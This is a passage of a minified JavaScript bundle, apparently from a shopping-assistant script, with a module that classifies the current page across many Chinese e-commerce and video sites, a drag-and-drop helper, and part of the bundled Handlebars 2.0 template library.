/*! tts_union - by cqol_77 2016-04-25_14_17_43 */
__tk2__define("host", [],
function(a, b, c) {
    var d = window.location,
    e = "",
    f = "",
    g = d.host,
    h = d.pathname,
    i = "search1.taobao.com",
    j = "s.taobao.com",
    k = "list.taobao.com",
    l = "item.taobao.com" === g || "item.beta.taobao.com" === g,
    m = g.match(/detail.tmall/) && !d.href.match(/noitem/),
    n = function() {
        return g.match(/mogujie/) && d.href.match(/detail/) ? !0 : !1
    };
    c.exports = {
        isBuy: "buy.taobao.com" === g || "buy.tmall.com" === g,
        isTBbuy: "buy.taobao.com" === g,
        isTMbuy: "buy.tmall.com" === g,
        isTrade: "trade.taobao.com" === g,
        tbSearch1: i,
        tbListS: j,
        tbList: k,
        isTBList: "search.taobao.com" === g || g === i || g === j || "s8.taobao.com" === g || g === k,
        isTMList: "list.tmall.com" === g || "list.mei.tmall.com" === g,
        isTBDetail: l,
        isVipDetail: "www.vip.com" === g && d.href.match(/detail/),
        isVipList: "category.vip.com" === g && d.href.match(/category/),
        isGMDetail: "www.gome.com.cn" === g && d.href.match(/product/),
        isAMXDetail: "www.amazon.cn" === g && (d.href.match(/http:\/\/www.amazon.cn\/.*?\/dp\/(\w+)\/.*?/) || d.href.match(/http:\/\/www.amazon.cn\/dp\/(\w+)\/.*?/) || d.href.match(/http:\/\/www.amazon.cn\/.*?\/product\/(\w+)\/.*?/)),
        isAMXList: "www.amazon.cn" === g && (d.href.match(/http:\/\/www.amazon.cn\/s\/ref=.*?/) || d.href.match(/http:\/\/www.amazon.cn\/b\?.*?/) || d.href.match(/http:\/\/www.amazon.cn\/b\/ref=.*?/)),
        isGMList: "www.gome.com.cn" === g && (d.href.match(/category/) || d.href.match(/search/)),
        isTBCart: d.href.match(/cart.taobao.com\/cart.htm/),
        isTMCart: g.match(/cart.tmall.com/),
        isJDCart: "cart.jd.com" === g,
        isVIPCart: "cart.vip.com" === g,
        isVipCheckout: "checkout.vip.com" === g,
        isJuDetail: "detail.ju.taobao.com" === g,
        isVipShow: d.href.match(/www.vip.com\/show-/),
        isMLSCart: d.href.match(/order.meilishuo.com\/cart/),
        isMGJCart: d.href.match(/www.mogujie.com\/trade\/cart\/mycart/),
        isTMDetail: m,
        isDetail: l || m,
        isTM: g.match(/tmall/),
        isTBShop: g.match(/taobao/) && g.match(/shop/),
        isTMShop: g.match(/tmall/) && d.href.match(/shop/),
        isCsTMDetail: g.match(/chaoshi.detail.tmall/),
        isTBFav: "shoucang.taobao.com" === g,
        isMGJList: g.match(/mogujie/) && h.match(/book|shopping|album\/show|free/) && !h.match(/look/),
        isMGJDetail: n(),
        isVanclList: g.match(/s\.vancl\.com/),
        isMLSList: g.match(/meilishuo/) && h.match(/guang|pretty|search|group|ihome|person/),
        isMLSDetail: g.match(/meilishuo/) && d.href.match(/share/),
        isMLS_MGJ: g.match(/mogujie/) || g.match(/meilishuo/),
        isBtnClickList: g === j || "s8.taobao.com" === g || g === k || "list.tmall.com" === g,
        isHomeTaobao: "www.taobao.com" === g,
        isHomeTmall: "www.tmall.com" === g,
        isHomeMGJ: "http://www.mogujie.com/" === d.href,
        isHomeMLS: "http://www.meilishuo.com/" === d.href,
        isHomeVIP: "http://www.vip.com/" === d.href,
        isHomeJD: "www.jd.com" === g,
        isHomeGM: "www.gome.com.cn" === d.host,
        isHomeJumei: /http:\/\/\w+\.jumei\.com\/$/.test(d.href),
        isHomeLefeng: "www.lefeng.com" === d.host,
        isHomeZhe800: "www.zhe800.com" === d.host,
        isHomeNuomi: /http:\/\/\w+\.nuomi\.com\/$/.test(d.href),
        isHomeBeibei: "www.beibei.com" === d.host,
        isHomeYixun: "www.yixun.com" === d.host,
        isItaobao: "i.taobao.com" === g,
        isJDtrade: "trade.jd.com" === g,
        isB2CList: "list.jd.com" === g || "search.jd.com" === g,
        isB2CDetail: "item.jd.com" === g || d.href.match(/re.jd.com\/cps\/item/),
        isYHDList: d.href.match(/www.yhd.com\/ctg\/s2|www.1mall.com\/ctg\/s2/) || "search.1mall.com" === g || "search.yhd.com" === g || "list.yhd.com" === g,
        isYHDDetail: "item.1mall.com" === g || "item.yhd.com" === g,
        isVjiaList: "list.vjia.com" === g || "s.vjia.com" === g,
        isVjiaDetial: "item.vjia.com" === g,
        isVanclDetail: "item.vancl.com" === g,
        isDDList: "category.dangdang.com" === g || "search.dangdang.com" === g,
        isDDDetail: "product.dangdang.com" === g,
        isSuningList: "search.suning.com" === g || "list.suning.com" === g,
        isSuningDetail: "product.suning.com" === g,
        isWeibo: "weibo.com" === g,
        isYouhuo: "www.yohobuy.com" === g,
        isMeilihui: "www.mei.com" === g,
        isNiwodai: "www.niwodai.com" === g,
        isQunar: "www.qunar.com" === g,
        isMGJ: "www.mogujie.com" === g,
        isAlitripDetail: "items.alitrip.com" === g,
        alimamaShow: !g.match(/taobao|tmall|alitrip/),
        isTMSubList: /(nvzhuang|nvxie|nanxie|watch|dai|shouji|3c|baby|food|big|jia|car|hua|yao|book|chaoshi).tmall.com/.test(g),
        isTBSub: /(guang|ju|mei|chi|style|sport|nvren|nanren|zln|g|i|lu|cart|shoucang).taobao.com|www.taobao.com|www.jiyoujia.com/.test(g),
        isYixunList: "searchex.yixun.com" === g,
        isJDSub: /(channel|chaoshi|tuan|red|sale|xuan|mall|gap).jd.com/.test(g),
        isPaipaiList: "s.paipai.com" === g,
        isJumeiList: /(sh|search|hd).jumei/.test(g),
        isYixunDetail: "item.yixun.com" === g,
        isPaipaiDetail: "auction1.paipai.com" === g,
        isJumeiDetail: "item.jumei.com" === g,
        isiqiyi: !d.href.match(/www\.iqiyi\.com\/[0-9]|www\.iqiyi\.com\/[a-z]|www\.iqiyi\.com\/[A-Z]/) && "www.iqiyi.com" === g,
        istudou: !d.href.match(/www\.tudou\.com\/[0-9]|www\.tudou\.com\/[a-z]|www\.tudou\.com\/[A-Z]/) && "www.tudou.com" === g,
        isyouku: !d.href.match(/www\.youku\.com\/[0-9]|www\.youku\.com\/[a-z]|www\.youku\.com\/[A-Z]/) && "www.youku.com" === g,
        issohu: !d.href.match(/tv\.sohu\.com\/[0-9]|tv\.sohu\.com\/[a-z]|tv\.sohu\.com\/[A-Z]/) && "tv.sohu.com" === g,
        isqq: d.href.match(/v\.qq\.com\/index/) || !d.href.match(/v\.qq\.com\/[0-9]|v\.qq\.com\/[a-z]|v\.qq\.com\/[A-Z]/) && "v.qq.com" === g,
        is56: !d.href.match(/www\.56\.com\/[0-9]|www\.56\.com\/[a-z]|www\.56\.com\/[A-Z]/) && "www.56.com" === g,
        isletv: !d.href.match(/www\.letv\.com\/[0-9]|www\.letv\.com\/[a-z]|www\.letv\.com\/[A-Z]/) && "www.letv.com" === g,
        ispps: !d.href.match(/www\.pps\.tv\/[0-9]|www\.pps\.tv\/[a-z]|www\.pps\.tv\/[A-Z]/) && "www.pps.tv" === g,
        ispptv: !d.href.match(/www\.pptv\.com\/[0-9]|www\.pptv\.com\/[a-z]|www\.pptv\.com\/[A-Z]/) && "www.pptv.com" === g,
        isHomeLeFeng: "www.lefeng.com" === g,
        isLeFengList: "search.lefeng.com" === g,
        isLeFengDeatil: "product.lefeng.com" === g,
        isLeFengBrand: "brand.lefeng.com" === g,
        isLeFengMall: "mall.lefeng.com" === g,
        isLeFengCart: "shopping.lefeng.com" === g,
        isHomeKaoLa: !d.href.match(/kaola\.com\/cart/) && !d.href.match(/kaola\.com\/product/) && d.href.match(/www\.kaola\.com/) || d.href.match(/kaola\.com\/activity/),
        isKaoLaList: d.href.match(/kaola\.com\/search\.html/),
        isKaoLaDetail: d.href.match(/kaola\.com\/product/),
        isKaoLaCart: d.href.match(/kaola\.com\/cart/),
        isNotBeiBeiDetail: d.href.match(/beibei\.com/) && !d.href.match(/beibei\.com\/detail|beibei\.com\/cart/),
        isBeiBeiList: d.href.match(/beibei\.com\/martshow/) || d.href.match(/d\.beibei\.com/) || d.href.match(/global\.beibei\.com\/category/) || !d.href.match(/you\.beibei\.com\/datail/) && d.href.match(/beibei\.com/),
        isBeiBeiDetail: d.href.match(/www\.beibei\.com\/detail/) || d.href.match(/global\.beibei\.com\/detail/) || d.href.match(/you\.beibei\.com\/detail/),
        isBeiBeiCart: "trade.beibei.com" === g,
        isFengQu: !d.href.match(/www\.fengqu\.com\/detail/) && "www.fengqu.com" === g,
        isFengQuList: d.href.match(/fengqu\.com\/y|fengqu\.com\/other\/search|fengqu\.com\/activity/),
        isFengQuDetail: d.href.match(/www\.fengqu\.com\/detail/),
        isMia: !d.href.match(/www\.mia\.com\/item-/) && "www.mia.com" === g,
        isMiaDetail: d.href.match(/www\.mia\.com\/item-/),
        isStrawberrynet: !d.href.match(/DETAIL/) && "cn.strawberrynet.com" === g,
        isStrawberrynetDetail: d.href.match(/DETAIL/) && "cn.strawberrynet.com" === g,
        isYmatou: !d.href.match(/ymatou\.com\/product|ymatou\.com\/Product/) && "www.ymatou.com" === g || "c.ymatou.com" === g,
        isYmatouList: d.href.match(/ymatou\.com\/Products/),
        isYmatouDetail: !d.href.match(/Products/) && d.href.match(/ymatou\.com\/product|ymatou\.com\/Product/)
    },
    c.exports.isTBList || c.exports.isHomeTaobao ? (e = 1, f = "taobao") : c.exports.isTBFav ? (e = 11, f = "taobao") : c.exports.isTBCart ? (e = 12, f = "taobao") : c.exports.isTMList ? (e = 2, f = "tmall") : c.exports.isTMCart ? (e = 22, f = "tmall") : c.exports.isTBDetail ? (e = 3, f = "taobao") : c.exports.isTMDetail || c.exports.isHomeTmall ? (e = 4, f = "tmall") : c.exports.isShop ? (e = 5, f = "taobao") : c.exports.isTrade ? (e = 8, f = "taobao") : c.exports.isMGJList || c.exports.isHomeMGJ ? (e = 61, f = "mogujie") : c.exports.isMGJDetail || c.exports.isMGJCart ? (e = 62, f = "mogujie") : c.exports.isMLSList || c.exports.isHomeMLS ? (e = 71, f = "meilishuo") : c.exports.isMLSDetail || c.exports.isMLSCart ? (e = 72, f = "meilishuo") : c.exports.isB2CList || c.exports.isHomeJD ? (e = "B11", f = "jd.com") : c.exports.isB2CDetail || c.exports.isJDCart ? (e = "B12", f = "jd.com") : c.exports.isYHDList ? (e = "B21", f = "yihaodian") : c.exports.isYHDDetail ? (e = "B22", f = "yihaodian") : c.exports.isDDList ? (e = "B31", f = "dangdang") : c.exports.isDDDetail ? (e = "B32", f = "dangdang") : c.exports.isSuningList ? (e = "B51", f = "suning") : c.exports.isSuningDetail ? (e = "B52", f = "suning") : c.exports.isVjiaList ? (e = "B91", f = "vjia") : c.exports.isVjiaDetial ? (e = "B92", f = "vjia") : c.exports.isAMXList ? (e = "B71", f = "amazon") : c.exports.isAMXDetail ? (e = "B72", f = "amazon") : c.exports.isGMList ? (e = "B41", f = "gome") : c.exports.isGMDetail ? (e = "B42", f = "gome") : c.exports.isVipList || c.exports.isVIPCart ? (e = "B61", f = "vip") : c.exports.isVipDetail ? (e = "B62", f = "vip") : c.exports.isVanclDetail ? (e = "B82", f = "vancl") : (e = "999", f = "else"),
    c.exports.pageType = e,
    c.exports.webSite = f
}),
__tk2__define("lib/dragdrop", [],
function(a, b, c) {
    function d(a, b, c) {
        var d = this;
        this._obj = a,
        this._tag = b,
        this._mouseStart = {},
        this._divStart = {},
        this.clientWidth = document.body.clientWidth,
        this.flag = !1,
        this.icon = c,
        this._tag.onmousedown = function(a) {
            d._startDrag(a)
        }
    }
    d.prototype._startDrag = function(a) {
        var b = this,
        c = a || event;
        this._mouseStart.x = c.clientX,
        this._mouseStart.y = c.clientY,
        this._divStart.x = this._obj.offsetLeft,
        this._divStart.y = this._obj.offsetTop,
        this._obj.setCapture ? (this._tag.onmousemove = function(a) {
            b._doDrag(a)
        },
        this._tag.onmouseup = function(a) {
            b._stopDrag(a)
        },
        this._tag.ondblclick = function(a) {
            b._stopDrag(a)
        },
        this._tag.setCapture()) : (this._doDrags = function(a) {
            b._doDrag(a)
        },
        this._stopDrags = function(a) {
            b._stopDrag(a)
        },
        this._stopDragsDbl = function(a) {
            b.flag = !0,
            document.removeEventListener("mousemove", b._doDrags, !0),
            b._stopDrag(a)
        },
        document.addEventListener("mousemove", this._doDrags, !0), document.addEventListener("mouseup", this._stopDrags, !0), document.addEventListener("dblclick", this._stopDragsDbl, !0))
    },
    d.prototype._doDrag = function(a) {
        var b = a || event,
        c = b.clientX - this._mouseStart.x + this._divStart.x,
        d = b.clientY - this._mouseStart.y + this._divStart.y;
        this.icon ? ( - 88 >= c && (c = -118), c > this.clientWidth - this._obj.offsetWidth - 148 && (c = this.clientWidth - this._obj.offsetWidth - 118)) : (30 >= c && (c = 0), c > this.clientWidth - this._obj.offsetWidth - 30 && (c = this.clientWidth - this._obj.offsetWidth)),
        0 >= d && (d = 0),
        this._obj.style.left = c + "px",
        this._obj.style.top = d + "px"
    },
    d.prototype._stopDrag = function(a) {
        this._tag.releaseCapture ? (this._tag.onmousemove = null, this._tag.onmouseup = null, this._tag.releaseCapture()) : (document.removeEventListener("mousemove", this._doDrags, !0), document.removeEventListener("mouseup", this._stopDrags, !0), document.removeEventListener("dblclick", this._stopDrags, !0), this._doDrags = this._stopDrags = null)
    },
    c.exports = d
}),
__tk2__define("lib/handlebars", [],
function(a, b, c) {
    var d = function() {
        "use strict";
        function a(a) {
            this.string = a
        }
        var b;
        return a.prototype.toString = function() {
            return "" + this.string
        },
        b = a
    } (),
    e = function(a) {
        "use strict";
        function b(a) {
            return i[a]
        }
        function c(a) {
            for (var b = 1; b < arguments.length; b++) for (var c in arguments[b]) Object.prototype.hasOwnProperty.call(arguments[b], c) && (a[c] = arguments[b][c]);
            return a
        }
        function d(a) {
            return a instanceof h ? a.toString() : null == a ? "": a ? (a = "" + a, k.test(a) ? a.replace(j, b) : a) : a + ""
        }
        function e(a) {
            return a || 0 === a ? n(a) && 0 === a.length ? !0 : !1 : !0
        }
        function f(a, b) {
            return (a ? a + ".": "") + b
        }
        var g = {},
        h = a,
        i = {
            "&": "&amp;",
            "<": "&lt;",
            ">": "&gt;",
            '"': "&quot;",
            "'": "&#x27;",
            "`": "&#x60;"
        },
        j = /[&<>"'`]/g,
        k = /[&<>"'`]/;
        g.extend = c;
        var l = Object.prototype.toString;
        g.toString = l;
        var m = function(a) {
            return "function" == typeof a
        };
        m(/x/) && (m = function(a) {
            return "function" == typeof a && "[object Function]" === l.call(a)
        });
        var m;
        g.isFunction = m;
        var n = Array.isArray ||
        function(a) {
            return a && "object" == typeof a ? "[object Array]" === l.call(a) : !1
        };
        return g.isArray = n,
        g.escapeExpression = d,
        g.isEmpty = e,
        g.appendContextPath = f,
        g
    } (d),
    f = function() {
        "use strict";
        function a(a, b) {
            var d;
            b && b.firstLine && (d = b.firstLine, a += " - " + d + ":" + b.firstColumn);
            for (var e = Error.prototype.constructor.call(this, a), f = 0; f < c.length; f++) this[c[f]] = e[c[f]];
            d && (this.lineNumber = d, this.column = b.firstColumn)
        }
        var b, c = ["description", "fileName", "lineNumber", "message", "name", "number", "stack"];
        return a.prototype = new Error,
        b = a
    } (),
    g = function(a, b) {
        "use strict";
        function c(a, b) {
            this.helpers = a || {},
            this.partials = b || {},
            d(this)
        }
        function d(a) {
            a.registerHelper("helperMissing",
            function() {
                if (1 === arguments.length) return void 0;
                throw new g("Missing helper: '" + arguments[arguments.length - 1].name + "'")
            }),
            a.registerHelper("blockHelperMissing",
            function(b, c) {
                var d = c.inverse,
                e = c.fn;
                if (b === !0) return e(this);
                if (b === !1 || null == b) return d(this);
                if (k(b)) return b.length > 0 ? (c.ids && (c.ids = [c.name]), a.helpers.each(b, c)) : d(this);
                if (c.data && c.ids) {
                    var g = q(c.data);
                    g.contextPath = f.appendContextPath(c.data.contextPath, c.name),
                    c = {
                        data: g
                    }
                }
                return e(b, c)
            }),
            a.registerHelper("each",
            function(a, b) {
                if (!b) throw new g("Must pass iterator to #each");
                var c, d, e = b.fn,
                h = b.inverse,
                i = 0,
                j = "";
                if (b.data && b.ids && (d = f.appendContextPath(b.data.contextPath, b.ids[0]) + "."), l(a) && (a = a.call(this)), b.data && (c = q(b.data)), a && "object" == typeof a) if (k(a)) for (var m = a.length; m > i; i++) c && (c.index = i, c.first = 0 === i, c.last = i === a.length - 1, d && (c.contextPath = d + i)),
                j += e(a[i], {
                    data: c
                });
                else for (var n in a) a.hasOwnProperty(n) && (c && (c.key = n, c.index = i, c.first = 0 === i, d && (c.contextPath = d + n)), j += e(a[n], {
                    data: c
                }), i++);
                return 0 === i && (j = h(this)),
                j
            }),
            a.registerHelper("if",
            function(a, b) {
                return l(a) && (a = a.call(this)),
                !b.hash.includeZero && !a || f.isEmpty(a) ? b.inverse(this) : b.fn(this)
            }),
            a.registerHelper("unless",
            function(b, c) {
                return a.helpers["if"].call(this, b, {
                    fn: c.inverse,
                    inverse: c.fn,
                    hash: c.hash
                })
            }),
            a.registerHelper("with",
            function(a, b) {
                l(a) && (a = a.call(this));
                var c = b.fn;
                if (f.isEmpty(a)) return b.inverse(this);
                if (b.data && b.ids) {
                    var d = q(b.data);
                    d.contextPath = f.appendContextPath(b.data.contextPath, b.ids[0]),
                    b = {
                        data: d
                    }
                }
                return c(a, b)
            }),
            a.registerHelper("log",
            function(b, c) {
                var d = c.data && null != c.data.level ? parseInt(c.data.level, 10) : 1;
                a.log(d, b)
            }),
            a.registerHelper("lookup",
            function(a, b) {
                return a && a[b]
            })
        }
        var e = {},
        f = a,
        g = b,
        h = "2.0.0";
        e.VERSION = h;
        var i = 6;
        e.COMPILER_REVISION = i;
        var j = {
            1 : "<= 1.0.rc.2",
            2 : "== 1.0.0-rc.3",
            3 : "== 1.0.0-rc.4",
            4 : "== 1.x.x",
            5 : "== 2.0.0-alpha.x",
            6 : ">= 2.0.0-beta.1"
        };
        e.REVISION_CHANGES = j;
        var k = f.isArray,
        l = f.isFunction,
        m = f.toString,
        n = "[object Object]";
        e.HandlebarsEnvironment = c,
        c.prototype = {
            constructor: c,
            logger: o,
            log: p,
            registerHelper: function(a, b) {
                if (m.call(a) === n) {
                    if (b) throw new g("Arg not supported with multiple helpers");
                    f.extend(this.helpers, a)
                } else this.helpers[a] = b
            },
            unregisterHelper: function(a) {
                delete this.helpers[a]
            },
            registerPartial: function(a, b) {
                m.call(a) === n ? f.extend(this.partials, a) : this.partials[a] = b
            },
            unregisterPartial: function(a) {
                delete this.partials[a]
            }
        };
        var o = {
            methodMap: {
                0 : "debug",
                1 : "info",
                2 : "warn",
                3 : "error"
            },
            DEBUG: 0,
            INFO: 1,
            WARN: 2,
            ERROR: 3,
            level: 3,
            log: function(a, b) {
                if (o.level <= a) {
                    var c = o.methodMap[a];
                    "undefined" != typeof console && console[c] && console[c].call(console, b)
                }
            }
        };
        e.logger = o;
        var p = o.log;
        e.log = p;
        var q = function(a) {
            var b = f.extend({},
            a);
            return b._parent = a,
            b
        };
        return e.createFrame = q,
        e
    } (e, f),
    h = function(a, b, c) {
        "use strict";
        function d(a) {
            var b = a && a[0] || 1,
            c = m;
            if (b !== c) {
                if (c > b) {
                    var d = n[c],
                    e = n[b];
                    throw new l("Template was precompiled with an older version of Handlebars than the current runtime. Please update your precompiler to a newer version (" + d + ") or downgrade your runtime to an older version (" + e + ").")
                }
                throw new l("Template was precompiled with a newer version of Handlebars than the current runtime. Please update your runtime to a newer version (" + a[1] + ").")
            }
        }
        function e(a, b) {
            if (!b) throw new l("No environment passed to template");
            if (!a || !a.main) throw new l("Unknown template object: " + typeof a);
            b.VM.checkRevision(a.compiler);
            var c = function(c, d, e, f, g, h, i, j, m) {
                g && (f = k.extend({},
                f, g));
                var n = b.VM.invokePartial.call(this, c, e, f, h, i, j, m);
                if (null == n && b.compile) {
                    var o = {
                        helpers: h,
                        partials: i,
                        data: j,
                        depths: m
                    };
                    i[e] = b.compile(c, {
                        data: void 0 !== j,
                        compat: a.compat
                    },
                    b),
                    n = i[e](f, o)
                }
                if (null != n) {
                    if (d) {
                        for (var p = n.split("\n"), q = 0, r = p.length; r > q && (p[q] || q + 1 !== r); q++) p[q] = d + p[q];
                        n = p.join("\n")
                    }
                    return n
                }
                throw new l("The partial " + e + " could not be compiled when running in runtime-only mode")
            },
            d = {
                lookup: function(a, b) {
                    for (var c = a.length,
                    d = 0; c > d; d++) if (a[d] && null != a[d][b]) return a[d][b]
                },
                lambda: function(a, b) {
                    return "function" == typeof a ? a.call(b) : a
                },
                escapeExpression: k.escapeExpression,
                invokePartial: c,
                fn: function(b) {
                    return a[b]
                },
                programs: [],
                program: function(a, b, c) {
                    var d = this.programs[a],
                    e = this.fn(a);
                    return b || c ? d = f(this, a, e, b, c) : d || (d = this.programs[a] = f(this, a, e)),
                    d
                },
                data: function(a, b) {
                    for (; a && b--;) a = a._parent;
                    return a
                },
                merge: function(a, b) {
                    var c = a || b;
                    return a && b && a !== b && (c = k.extend({},
                    b, a)),
                    c
                },
                noop: b.VM.noop,
                compilerInfo: a.compiler
            },
            e = function(b, c) {
                c = c || {};
                var f = c.data;
                e._setup(c),
                !c.partial && a.useData && (f = i(b, f));
                var g;
                return a.useDepths && (g = c.depths ? [b].concat(c.depths) : [b]),
                a.main.call(d, b, d.helpers, d.partials, f, g)
            };
            return e.isTop = !0,
            e._setup = function(c) {
                c.partial ? (d.helpers = c.helpers, d.partials = c.partials) : (d.helpers = d.merge(c.helpers, b.helpers), a.usePartial && (d.partials = d.merge(c.partials, b.partials)))
            },
            e._child = function(b, c, e) {
                if (a.useDepths && !e) throw new l("must pass parent depths");
                return f(d, b, a[b], c, e)
            },
            e
        }
        function f(a, b, c, d, e) {
            var f = function(b, f) {
                return f = f || {},
                c.call(a, b, a.helpers, a.partials, f.data || d, e && [b].concat(e))
            };
            return f.program = b,
            f.depth = e ? e.length: 0,
            f
        }
        function g(a, b, c, d, e, f, g) {
            var h = {
                partial: !0,
                helpers: d,
                partials: e,
                data: f,
                depths: g
            };
            if (void 0 === a) throw new l("The partial " + b + " could not be found");
            return a instanceof Function ? a(c, h) : void 0
        }
        function h() {
            return ""
        }
        function i(a, b) {
            return b && "root" in b || (b = b ? o(b) : {},
            b.root = a),
            b
        }
        var j = {},
        k = a,
        l = b,
        m = c.COMPILER_REVISION,
        n = c.REVISION_CHANGES,
        o = c.createFrame;
        return j.checkRevision = d,
        j.template = e,
        j.program = f,
        j.invokePartial = g,
        j.noop = h,
        j
    } (e, f, g),
    i = function(a, b, c, d, e) {
        "use strict";
        var f, g = a,
        h = b,
        i = c,
        j = d,
        k = e,
        l = function() {
            var a = new g.HandlebarsEnvironment;
            return j.extend(a, g),
            a.SafeString = h,
            a.Exception = i,
            a.Utils = j,
            a.escapeExpression = j.escapeExpression,
            a.VM = k,
            a.template = function(b) {
                return k.template(b, a)
            },
            a
        },
        m = l();
        return m.create = l,
        m["default"] = m,
        f = m
    } (g, d, f, e, h),
    j = function(a) {
        "use strict";
        function b(a) {
            a = a || {},
            this.firstLine = a.first_line,
            this.firstColumn = a.first_column,
            this.lastColumn = a.last_column,
            this.lastLine = a.last_line
        }
        var c, d = a,
        e = {
            ProgramNode: function(a, c, d) {
                b.call(this, d),
                this.type = "program",
                this.statements = a,
                this.strip = c
            },
            MustacheNode: function(a, c, d, f, g) {
                if (b.call(this, g), this.type = "mustache", this.strip = f, null != d && d.charAt) {
                    var h = d.charAt(3) || d.charAt(2);
                    this.escaped = "{" !== h && "&" !== h
                } else this.escaped = !!d;
                a instanceof e.SexprNode ? this.sexpr = a: this.sexpr = new e.SexprNode(a, c),
                this.id = this.sexpr.id,
                this.params = this.sexpr.params,
                this.hash = this.sexpr.hash,
                this.eligibleHelper = this.sexpr.eligibleHelper,
                this.isHelper = this.sexpr.isHelper
            },
            SexprNode: function(a, c, d) {
                b.call(this, d),
                this.type = "sexpr",
                this.hash = c;
                var e = this.id = a[0],
                f = this.params = a.slice(1);
                this.isHelper = !(!f.length && !c),
                this.eligibleHelper = this.isHelper || e.isSimple
            },
            PartialNode: function(a, c, d, e, f) {
                b.call(this, f),
                this.type = "partial",
                this.partialName = a,
                this.context = c,
                this.hash = d,
                this.strip = e,
                this.strip.inlineStandalone = !0
            },
            BlockNode: function(a, c, d, e, f) {
                b.call(this, f),
                this.type = "block",
                this.mustache = a,
                this.program = c,
                this.inverse = d,
                this.strip = e,
                d && !c && (this.isInverse = !0)
            },
            RawBlockNode: function(a, c, f, g) {
                if (b.call(this, g), a.sexpr.id.original !== f) throw new d(a.sexpr.id.original + " doesn't match " + f, this);
                c = new e.ContentNode(c, g),
                this.type = "block",
                this.mustache = a,
                this.program = new e.ProgramNode([c], {},
                g)
            },
            ContentNode: function(a, c) {
                b.call(this, c),
                this.type = "content",
                this.original = this.string = a
            },
            HashNode: function(a, c) {
                b.call(this, c),
                this.type = "hash",
                this.pairs = a
            },
            IdNode: function(a, c) {
                b.call(this, c),
                this.type = "ID";
                for (var e = "",
                f = [], g = 0, h = "", i = 0, j = a.length; j > i; i++) {
                    var k = a[i].part;
                    if (e += (a[i].separator || "") + k, ".." === k || "." === k || "this" === k) {
                        if (f.length > 0) throw new d("Invalid path: " + e, this);
                        ".." === k ? (g++, h += "../") : this.isScoped = !0
                    } else f.push(k)
                }
                this.original = e,
                this.parts = f,
                this.string = f.join("."),
                this.depth = g,
                this.idName = h + this.string,
                this.isSimple = 1 === a.length && !this.isScoped && 0 === g,
                this.stringModeValue = this.string
            },
            PartialNameNode: function(a, c) {
                b.call(this, c),
                this.type = "PARTIAL_NAME",
                this.name = a.original
            },
            DataNode: function(a, c) {
                b.call(this, c),
                this.type = "DATA",
                this.id = a,
                this.stringModeValue = a.stringModeValue,
                this.idName = "@" + a.stringModeValue
            },
            StringNode: function(a, c) {
                b.call(this, c),
                this.type = "STRING",
                this.original = this.string = this.stringModeValue = a
            },
            NumberNode: function(a, c) {
                b.call(this, c),
                this.type = "NUMBER",
                this.original = this.number = a,
                this.stringModeValue = Number(a)
            },
            BooleanNode: function(a, c) {
                b.call(this, c),
                this.type = "BOOLEAN",
                this.bool = a,
                this.stringModeValue = "true" === a
            },
            CommentNode: function(a, c) {
                b.call(this, c),
                this.type = "comment",
                this.comment = a,
                this.strip = {
                    inlineStandalone: !0
                }
            }
        };
        return c = e
    } (f),
    k = function() {
        "use strict";
        var a, b = function() {
            function a() {
                this.yy = {}
            }
            var b = {
                trace: function() {},
                yy: {},
                symbols_: {
                    error: 2,
                    root: 3,
                    program: 4,
                    EOF: 5,
                    program_repetition0: 6,
                    statement: 7,
                    mustache: 8,
                    block: 9,
                    rawBlock: 10,
                    partial: 11,
                    CONTENT: 12,
                    COMMENT: 13,
                    openRawBlock: 14,
                    END_RAW_BLOCK: 15,
                    OPEN_RAW_BLOCK: 16,
                    sexpr: 17,
                    CLOSE_RAW_BLOCK: 18,
                    openBlock: 19,
                    block_option0: 20,
                    closeBlock: 21,
                    openInverse: 22,
                    block_option1: 23,
                    OPEN_BLOCK: 24,
                    CLOSE: 25,
                    OPEN_INVERSE: 26,
                    inverseAndProgram: 27,
                    INVERSE: 28,
                    OPEN_ENDBLOCK: 29,
                    path: 30,
                    OPEN: 31,
                    OPEN_UNESCAPED: 32,
                    CLOSE_UNESCAPED: 33,
                    OPEN_PARTIAL: 34,
                    partialName: 35,
                    param: 36,
                    partial_option0: 37,
                    partial_option1: 38,
                    sexpr_repetition0: 39,
                    sexpr_option0: 40,
                    dataName: 41,
                    STRING: 42,
                    NUMBER: 43,
                    BOOLEAN: 44,
                    OPEN_SEXPR: 45,
                    CLOSE_SEXPR: 46,
                    hash: 47,
                    hash_repetition_plus0: 48,
                    hashSegment: 49,
                    ID: 50,
                    EQUALS: 51,
                    DATA: 52,
                    pathSegments: 53,
                    SEP: 54,
                    $accept: 0,
                    $end: 1
                },
                terminals_: {
                    2 : "error",
                    5 : "EOF",
                    12 : "CONTENT",
                    13 : "COMMENT",
                    15 : "END_RAW_BLOCK",
                    16 : "OPEN_RAW_BLOCK",
                    18 : "CLOSE_RAW_BLOCK",
                    24 : "OPEN_BLOCK",
                    25 : "CLOSE",
                    26 : "OPEN_INVERSE",
                    28 : "INVERSE",
                    29 : "OPEN_ENDBLOCK",
                    31 : "OPEN",
                    32 : "OPEN_UNESCAPED",
                    33 : "CLOSE_UNESCAPED",
                    34 : "OPEN_PARTIAL",
                    42 : "STRING",
                    43 : "NUMBER",
                    44 : "BOOLEAN",
                    45 : "OPEN_SEXPR",
                    46 : "CLOSE_SEXPR",
                    50 : "ID",
                    51 : "EQUALS",
                    52 : "DATA",
                    54 : "SEP"
                },
                productions_: [0, [3, 2], [4, 1], [7, 1], [7, 1], [7, 1], [7, 1], [7, 1], [7, 1], [10, 3], [14, 3], [9, 4], [9, 4], [19, 3], [22, 3], [27, 2], [21, 3], [8, 3], [8, 3], [11, 5], [11, 4], [17, 3], [17, 1], [36, 1], [36, 1], [36, 1], [36, 1], [36, 1], [36, 3], [47, 1], [49, 3], [35, 1], [35, 1], [35, 1], [41, 2], [30, 1], [53, 3], [53, 1], [6, 0], [6, 2], [20, 0], [20, 1], [23, 0], [23, 1], [37, 0], [37, 1], [38, 0], [38, 1], [39, 0], [39, 2], [40, 0], [40, 1], [48, 1], [48, 2]],
                performAction: function(a, b, c, d, e, f, g) {
                    var h = f.length - 1;
                    switch (e) {
                    case 1:
                        return d.prepareProgram(f[h - 1].statements, !0),
                        f[h - 1];
                    case 2:
                        this.$ = new d.ProgramNode(d.prepareProgram(f[h]), {},
                        this._$);
                        break;
                    case 3:
                        this.$ = f[h];
                        break;
                    case 4:
                        this.$ = f[h];
                        break;
                    case 5:
                        this.$ = f[h];
                        break;
                    case 6:
                        this.$ = f[h];
                        break;
                    case 7:
                        this.$ = new d.ContentNode(f[h], this._$);
                        break;
                    case 8:
                        this.$ = new d.CommentNode(f[h], this._$);
                        break;
                    case 9:
